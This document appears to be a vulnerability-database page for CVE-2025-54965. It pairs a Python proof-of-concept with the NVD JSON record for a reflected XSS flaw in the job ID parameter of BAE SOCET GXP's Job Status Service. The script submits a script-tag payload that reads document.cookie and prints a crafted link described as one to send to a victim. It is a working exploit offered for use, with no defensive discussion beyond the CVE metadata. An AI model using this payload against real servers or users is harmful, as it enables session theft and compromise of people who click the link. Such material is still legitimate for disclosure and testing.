CVE-2025-54965

import requests import urllib.parse # CVE-2025-54965 PoC - BAE SOCET GXP XSS # This PoC demonstrates the XSS vulnerability in Job Status Service TARGET_URL = "https://vulnerable-server/socet-gxp/job-status" ATTACK_PAYLOAD = '<script>alert(document.cookie)</script>' def create_malicious_job(): """Create a job with XSS payload in job ID parameter""" payload = { 'job_id': ATTACK_PAYLOAD, 'job_name': 'Malicious Job', 'action': 'submit' } print(f"[*] Submitting malicious job with payload: {ATTACK_PAYLOAD}") response = requests.post(TARGET_URL, data=payload) if response.status_code == 200: print("[+] Malicious job created successfully") return True return False def trigger_xss(): """Trigger the XSS by accessing job status page""" malicious_url = f"{TARGET_URL}?job_id={urllib.parse.quote(ATTACK_PAYLOAD)}" print(f"[*] Malicious URL: {malicious_url}") print("[+] When victim visits this URL, XSS will be executed") if __name__ == "__main__": create_malicious_job() trigger_xss()

{"cve": {"id": "CVE-2025-54965", "sourceIdentifier": "[email protected]", "published": "2025-10-27T18:15:41.990", "lastModified": "2025-11-03T16:58:40.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An XSS issue was discovered in BAE SOCET GXP before 4.6.0.2. The SOCET GXP Job Status Service does not properly sanitize the job ID parameter before using it in the job status page. An attacker who is able to social engineer a user into clicking a malicious link may be able to execute arbitrary JavaScript in the victim's browser."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:baesystems:socet_gxp:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.6.0.2", "matchCriteriaId": "6BF9E6F9-E4EA-4880-9B20-2CEDD7D118C8"}]}]}], "references": [{"url": "https://www.baesystems.com/en-us/product/geospatial-exploitation-products", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.geospatialexploitationproducts.com/content/socet-gxp/vulnerabilities-disclosure/#cve-2025-54965", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}